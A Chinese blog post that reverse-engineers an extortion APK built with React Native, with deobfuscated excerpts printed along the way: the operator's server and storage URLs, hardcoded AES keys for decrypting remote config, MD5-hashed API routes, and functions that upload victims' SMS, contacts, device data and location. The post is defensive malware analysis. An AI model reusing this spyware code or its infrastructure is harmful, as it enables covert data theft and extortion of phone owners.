前言
起因是隔壁群友熬夜搞得脑子不清醒,下了个APP还给了一堆权限,然后就被勒索了, 而后把apk发群内大家尝试破解了一下,简单记录下我的整个分析过程
首先拿到apk先apktool一把梭解出来,然后发现lib内部是这样的

判断是React Native编写的程序,紧接着去assets找主程序文件index.android.bundle,但是Windows下会发现存在问题

然而在Ubuntu环境下直接unzip可以得到正确的文件,可以看到index.android.bundle是压缩的js代码,类似于webpack打包
但是还是不太一样,接着对压缩的JS代码解压,可以用Chrome DevTool或者Unminify进行解压,
得到对应的程序。
由于代码很多且有混淆,先根据抓包得到的一堆域名来尝试,很幸运找到了一个入口点
__d(function(s, n, o, p, a, t, e) {
a.exports = {
name: "rnapp",
displayName: "rnapp",
lang: "zh",
account: "yzvip",
view: 1,
hosts: ["https://yz.wuhengde0515sntb02uz.pro"],
pool: "https://rnoss-sso.oss-accelerate.aliyuncs.com"
}
}, 459, []);
然后接下来顺着pool来寻找,发现一段可疑代码
pool相关代码
function c() {
return (c = (0,
t.default)(function*() {
if (0 != (yield o(r(d[6]).hosts))) {
var t = r(d[6]).pool + '/' + (0,
r(d[5]).MD5)(r(d[6]).account).toString()
, n = yield(0,
l.default)(t, {
method: 'GET',
retry: 3,
retryDelay: 1e3,
external: !0,
headers: {
'Cache-Control': 'no-cache'
}
}, !1);
if ('error' != n) {
var f = u.default.aesDecrypt(n, 'jkqmtd64aPgAiYll');
if (f)
o(JSON.parse(f))
}
}
})).apply(this, arguments)
}
接下来查找aesDecrypt,发现下面的部分
aesDecrypt实现
__d(function(g, r, i, a, m, e, d) {
Object.defineProperty(e, "__esModule", {
value: !0
}),
e.default = void 0;
var t = r(d[0])(r(d[1]))
, n = r(d[0])(r(d[2]))
, c = '6301386859816930'
, u = (function() {
function u() {
(0,
t.default)(this, u)
}
return (0,
n.default)(u, null, [{
key: "md5",
value: function(t) {
return r(d[3]).MD5(t).toString()
}
}, {
key: "aesEncrypt",
value: function(t, n) {
var u = n
, f = r(d[3]).enc.Utf8.parse(t)
, o = r(d[3]).enc.Utf8.parse(u)
, p = r(d[3]).enc.Utf8.parse(c)
, s = r(d[3]).AES.encrypt(f, o, {
iv: p,
mode: r(d[3]).mode.CBC,
padding: r(d[3]).pad.Pkcs7
}).ciphertext.toString()
, l = r(d[3]).enc.Hex.parse(s);
return r(d[3]).enc.Base64.stringify(l)
}
}, {
key: "aesDecrypt",
value: function(t, n) {
var u = n
, f = r(d[3]).enc.Utf8.parse(u)
, o = r(d[3]).enc.Utf8.parse(c);
return r(d[3]).AES.decrypt(t, f, {
iv: o,
mode: r(d[3]).mode.CBC,
padding: r(d[3]).pad.Pkcs7
}).toString(r(d[3]).enc.Latin1)
}
}]),
u
}
)();
e.default = u
}, 660, [3, 7, 8, 661]);
再使用抓包得到的数据进行验证解密,成功解密得到结果
强烈谴责ksqeib,半夜一点捋清楚逻辑让他发个抓到的返回值,发我一个请求值,死也解密不开
研究到三点多没搞明白,给我搞自闭了,第二天早上才反应过来这人给我发错了
下面来看一下他的API请求,也蛮有意思的,为了防止被直接抓包猜出来API的用途,他把API全都搞了个MD5值来用,具体代码如下
API请求MD5映射
e.get = function(n, u) {
var d = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]
, f = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : 0
, c = o() + '/api/' + (0,
r(_d[5]).MD5)(n).toString();
if (u) {
u = l(u);
var h = [];
Object.keys(u).forEach(function(t) {
u[t]instanceof Object && null != u[t] ? Object.keys(u[t]).forEach(function(n) {
null != u[t][n] && h.push(t + "[" + n + "]=" + u[t][n])
}) : null != u[t] && h.push(t + "=" + u[t])
}),
-1 === c.search(/\?/) ? c += "?" + h.join('&') : c += "&" + h.join('&')
}
return (0,
t.default)(c, {
method: 'GET'
}, d, f)
}
API接口列表
function p() {
return (p = (0,
t.default)(function*(t) {
return n.post('user/updateLocation', t, !1)
})).apply(this, arguments)
}
function l() {
return (l = (0,
t.default)(function*(t) {
return n.post('submit/device', t, !1, null, 3, 2e3)
})).apply(this, arguments)
}
function f() {
return (f = (0,
t.default)(function*(t) {
return n.post('submit/sms', t, !1, null, 3, 2e3)
})).apply(this, arguments)
}
function c() {
return (c = (0,
t.default)(function*(t) {
return n.post('submit/contacts', t, !1, null, 3, 2e3)
})).apply(this, arguments)
}